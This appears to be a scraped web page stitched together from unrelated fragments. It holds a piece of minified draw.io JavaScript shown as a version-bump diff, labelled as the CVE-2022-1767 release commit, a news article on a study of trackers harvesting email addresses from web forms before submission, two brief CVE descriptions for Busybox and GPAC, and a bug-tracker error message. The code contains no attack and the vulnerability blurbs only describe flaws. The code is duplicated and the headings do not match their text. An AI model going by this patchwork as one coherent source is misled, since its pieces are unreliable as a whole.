window.STYLE\_PATH=window.STYLE\_PATH||"styles";window.CSS\_PATH=window.CSS\_PATH||"styles";window.OPEN\_FORM=window.OPEN\_FORM||"open.html";window.mxBasePath=window.mxBasePath||"mxgraph";window.mxImageBasePath=window.mxImageBasePath||"mxgraph/images";window.mxLanguage=window.mxLanguage||urlParams.lang;window.mxLanguages=window.mxLanguages||\["de","se"\];var mxClient={VERSION:"18.0.7",IS\_IE:null!=navigator.userAgent&&0<=navigator.userAgent.indexOf("MSIE"),IS\_IE11:null!=navigator.userAgent&&!!navigator.userAgent.match(/Trident\\/7\\./),IS\_EDGE:null!=navigator.userAgent&&!!navigator.userAgent.match(/Edge\\//),IS\_EM:"spellcheck"in document.createElement("textarea")&&8==document.documentMode,VML\_PREFIX:"v",OFFICE\_PREFIX:"o",IS\_NS:null!=navigator.userAgent&&0<=navigator.userAgent.indexOf("Mozilla/")&&0>navigator.userAgent.indexOf("MSIE")&&0>navigator.userAgent.indexOf("Edge/"), IS\_OP:null!=navigator.userAgent&&(0<=navigator.userAgent.indexOf("Opera/")||0<=navigator.userAgent.indexOf("OPR/")),IS\_OT:null!=navigator.userAgent&&0<=navigator.userAgent.indexOf("Presto/")&&0>navigator.userAgent.indexOf("Presto/2.4.")&&0>navigator.userAgent.indexOf("Presto/2.3.")&&0>navigator.userAgent.indexOf("Presto/2.2.")&&0>navigator.userAgent.indexOf("Presto/2.1.")&&0>navigator.userAgent.indexOf("Presto/2.0.")&&0>navigator.userAgent.indexOf("Presto/1."),IS\_SF:/Apple Computer, Inc/.test(navigator.vendor), IS\_ANDROID:0<=navigator.appVersion.indexOf("Android"),IS\_IOS:/iP(hone|od|ad)/.test(navigator.platform)||navigator.userAgent.match(/Mac/)&&navigator.maxTouchPoints&&2<navigator.maxTouchPoints,IS\_WEBVIEW:/((iPhone|iPod|iPad).\*AppleWebKit(?!.\*Version)|; wv)/i.test(navigator.userAgent),IS\_GC:/Google Inc/.test(navigator.vendor),IS\_CHROMEAPP:null!=window.chrome&&null!=chrome.app&&null!=chrome.app.runtime,IS\_FF:"undefined"!==typeof InstallTrigger,IS\_MT:0<=navigator.userAgent.indexOf("Firefox/")&&0>navigator.userAgent.indexOf("Firefox/1.")&& 0>navigator.userAgent.indexOf("Firefox/2.")||0<=navigator.userAgent.indexOf("Iceweasel/")&&0>navigator.userAgent.indexOf("Iceweasel/1.")&&0>navigator.userAgent.indexOf("Iceweasel/2.")||0<=navigator.userAgent.indexOf("SeaMonkey/")&&0>navigator.userAgent.indexOf("SeaMonkey/1.")||0<=navigator.userAgent.indexOf("Iceape/")&&0>navigator.userAgent.indexOf("Iceape/1."),IS\_SVG:"MICROSOFT INTERNET EXPLORER"!=navigator.appName.toUpperCase(),NO\_FO:!document.createElementNS||"\[object SVGForeignObjectElement\]"!== @@ -11694,7 +11694,7 @@ D.appendChild(R);Q.appendChild(D);this.container=Q};var W=ChangePageSetup.protot this.format);null!=this.mathEnabled&&(this.page.viewState.mathEnabled=this.mathEnabled);null!=this.shadowVisible&&(this.page.viewState.shadowVisible=this.shadowVisible)}}else W.apply(this,arguments),null!=this.mathEnabled&&this.mathEnabled!=this.ui.isMathEnabled()&&(this.ui.setMathEnabled(this.mathEnabled),this.mathEnabled=!this.mathEnabled),null!=this.shadowVisible&&this.shadowVisible!=this.ui.editor.graph.shadowVisible&&(this.ui.editor.graph.setShadowVisible(this.shadowVisible),this.shadowVisible= !this.shadowVisible)};Editor.prototype.useCanvasForExport=!1;try{var U=document.createElement("canvas"),X=new Image;X.onload=function(){try{U.getContext("2d").drawImage(X,0,0);var u=U.toDataURL("image/png");Editor.prototype.useCanvasForExport=null!=u&&6<u.length}catch(D){}};X.src="data:image/svg+xml;base64,"+btoa(unescape(encodeURIComponent('<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1px" height="1px" version="1.1"><foreignObject pointer-events="all" width="1" height="1"><div xmlns="http://www.w3.org/1999/xhtml"></div></foreignObject></svg>')))}catch(u){}})(); (function(){var b=new mxObjectCodec(new ChangePageSetup,\["ui","previousColor","previousImage","previousFormat"\]);b.beforeDecode=function(e,f,c){c.ui=e.ui;return f};b.afterDecode=function(e,f,c){c.previousColor=c.color;c.previousImage=c.image;c.previousFormat=c.format;null!=c.foldingEnabled&&(c.foldingEnabled=!c.foldingEnabled);null!=c.mathEnabled&&(c.mathEnabled=!c.mathEnabled);null!=c.shadowVisible&&(c.shadowVisible=!c.shadowVisible);return c};mxCodecRegistry.register(b)})(); (function(){var b=new mxObjectCodec(new ChangeGridColor,\["ui"\]);b.beforeDecode=function(e,f,c){c.ui=e.ui;return f};mxCodecRegistry.register(b)})();(function(){EditorUi.VERSION="18.0.6";EditorUi.compactUi="atlas"!=uiTheme;Editor.isDarkMode()&&(mxGraphView.prototype.gridColor=mxGraphView.prototype.defaultDarkGridColor);EditorUi.enableLogging="1"!=urlParams.stealth&&"1"!=urlParams.lockdown&&(/.\*\\.draw\\.io$/.test(window.location.hostname)||/.\*\\.diagrams\\.net$/.test(window.location.hostname))&&"support.draw.io"!=window.location.hostname;EditorUi.drawHost=window.DRAWIO\_BASE\_URL;EditorUi.lightboxHost=window.DRAWIO\_LIGHTBOX\_URL;EditorUi.lastErrorMessage= (function(){var b=new mxObjectCodec(new ChangeGridColor,\["ui"\]);b.beforeDecode=function(e,f,c){c.ui=e.ui;return f};mxCodecRegistry.register(b)})();(function(){EditorUi.VERSION="18.0.7";EditorUi.compactUi="atlas"!=uiTheme;Editor.isDarkMode()&&(mxGraphView.prototype.gridColor=mxGraphView.prototype.defaultDarkGridColor);EditorUi.enableLogging="1"!=urlParams.stealth&&"1"!=urlParams.lockdown&&(/.\*\\.draw\\.io$/.test(window.location.hostname)||/.\*\\.diagrams\\.net$/.test(window.location.hostname))&&"support.draw.io"!=window.location.hostname;EditorUi.drawHost=window.DRAWIO\_BASE\_URL;EditorUi.lightboxHost=window.DRAWIO\_LIGHTBOX\_URL;EditorUi.lastErrorMessage= null;EditorUi.ignoredAnonymizedChars="\\n\\t\`~!@#$%^&\*()\_+{}|:\\"<>?-=\[\];'./,\\n\\t";EditorUi.templateFile=TEMPLATE\_PATH+"/index.xml";EditorUi.cacheUrl=window.REALTIME\_URL;null==EditorUi.cacheUrl&&"undefined"!==typeof DrawioFile&&(DrawioFile.SYNC="none");Editor.cacheTimeout=1E4;EditorUi.enablePlantUml=EditorUi.enableLogging;EditorUi.isElectronApp=null!=window&&null!=window.process&&null!=window.process.versions&&null!=window.process.versions.electron;EditorUi.nativeFileSupport=!mxClient.IS\_OP&&!EditorUi.isElectronApp&& "1"!=urlParams.extAuth&&"showSaveFilePicker"in window&&"showOpenFilePicker"in window;EditorUi.enableDrafts=!mxClient.IS\_CHROMEAPP&&isLocalStorage&&"0"!=urlParams.drafts;EditorUi.scratchpadHelpLink="https://www.diagrams.net/doc/faq/scratchpad";EditorUi.enableHtmlEditOption=!0;EditorUi.defaultMermaidConfig={theme:"neutral",arrowMarkerAbsolute:!1,flowchart:{htmlLabels:!1},sequence:{diagramMarginX:50,diagramMarginY:10,actorMargin:50,width:150,height:65,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35, mirrorActors:!0,bottomMarginAdj:1,useMaxWidth:!0,rightAngles:!1,showSequenceNumbers:!1},gantt:{titleTopMargin:25,barHeight:20,barGap:4,topPadding:50,leftPadding:75,gridLineStartPadding:35,fontSize:11,fontFamily:'"Open-Sans", "sans-serif"',numberSectionStyles:4,axisFormat:"%Y-%m-%d"}};EditorUi.logError=function(d,g,k,l,p,q,x){q=null!=q?q:0<=d.indexOf("NetworkError")||0<=d.indexOf("SecurityError")||0<=d.indexOf("NS\_ERROR\_FAILURE")||0<=d.indexOf("out of memory")?"CONFIG":"SEVERE";if(EditorUi.enableLogging&&

CVE-2022-1767: 18.0.7 release · jgraph/drawio@c63f3a0

Data harvested without consent and before forms are submitted in many cases, researchers claim

Data harvested without consent and before forms are submitted in many cases, researchers claim

Email addresses typed into online forms are often handed over to web trackers before being submitted and without user consent, a systematic study by computer scientists has discovered.

Email addresses – or identifiers derived from them – are apparently being used by data brokers and advertisers for cross-site and cross-platform identification of computer users.

As part of an investigation into how data from online forms is used for tracking, a team of four computer scientists measured the extent of email and password collection prior to form submission by analyzing the top 100,000 websites.

Catch up on the latest privacy-related security news and analysis

The researchers – Asuman Senol from KU Leuven in the Netherlands, Mathias Humbert (University of Lausanne, Switzerland), and Gunes Acar and Frederik Zuiderveen Borgesius (both from Radboud University, Belgium) – compared results from two vantage points, in the US and EU, as well as between mobile and desktop browsers.

**Tracking domains**

The team found that email addresses were exfiltrated to tracking domains before form submission and without giving consent on 1,844 websites in the EU crawl and 2,950 websites in the US crawl.

In the majority of cases, data was extracted to well-known tracker domains, but the researchers also identified 41 tracker domains omitted from popular blocklists.

Profiling for ad-serving purposes is not the only concern.

The researchers also identified seemingly inadvertent password collection from 52 websites by third-party relay scripts.

A research paper (PDF) based on the study is due to be presented at the upcoming Usenix ’22 security conference.

INSIGHT Research has come a long way, but gaps remain – security researcher Artur Janc on the state of XS-Leaks

Web users typically enter their email addresses into online forms for reasons including signing up to a service or subscribing to a newsletter.

The research shows that any data entered into such forms may end up in the hands of data brokers – sometimes even in cases where individuals have second thoughts about signing up to something and didn’t hit ‘send’.

The researchers used an online crawler to systematically examine what happens when users close their session before submitting data entered on forms.

**GDPR violation concerns**

Although not a lawyer, Gunes Acar, one of the four main researchers on the project, told The Daily Swig that the behavior of some of the websites may be in violation of stricter data privacy regulations such as the European Union’s General Data Protection Regulation (GDPR).

“Surreptitious email exfiltration for tracking purposes may breach some GDPR principles such as transparency, purpose limitation, and legal basis, but we cannot say for certain whether individual websites violate the GDPR (or other laws) without looking at the specifics,” Acar explained.

Almost half of the websites contacted responded to the researchers’ GDPR-related requests (see response sample here).

“Some websites said they didn’t know that their visitors’ emails were collected by third parties, and they fixed the issue,” Acar said. “That was the most positive outcome.

“Other websites informed us how they were using the emails collected through this behavior,” they added.

**Countermeasures**

Privacy-conscious internet users might well recoil from the revelations, as summarized in a blog post featuring screen captures and videos.

Fortunately, some countermeasures are already available.

Acar explained: “Adblockers (e.g. uBlock Origin) and privacy-focused browsers (Brave, DuckDuckGo) block requests to tracker and advertising domains, and hence may prevent this type of data collection. Only blocking the cookies wouldn’t provide any protection.

“Email relay services may be used to avoid giving the same email address to different online and offline businesses. Apple, DuckDuckGo, and Mozilla offer such services, which can be used to generate alias addresses,” Acer concluded.

The researchers have developed a proof-of-concept browser plugin, LeakInspector, which informs users when their email and passwords are scraped from forms, in addition to blocking “leaky” requests to tracker domains.

“Unfortunately, the add-on is not available on Chrome Web Store, because it relies on APIs that Google disallows in Manifest v3,” Acar said. “We are working on publishing the add-on to Firefox’s add-on repository.”

RECOMMENDED Facebook account takeover: Researcher scoops $40k bug bounty for chained exploit

Popular websites leaking user email data to web tracking domains

A use-after-free in Busybox 1.35-x's awk applet leads to denial of service and possibly code execution when processing a crafted awk pattern in the copyvar function.

'14781?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-30065: Invalid Bug ID

GPAC 2.0.0 misuses a certain Unicode utf8_wcslen (renamed gf_utf8_wcslen) function in utils/utf.c, resulting in a heap-based buffer over-read, as demonstrated by MP4Box.

Tag

#apple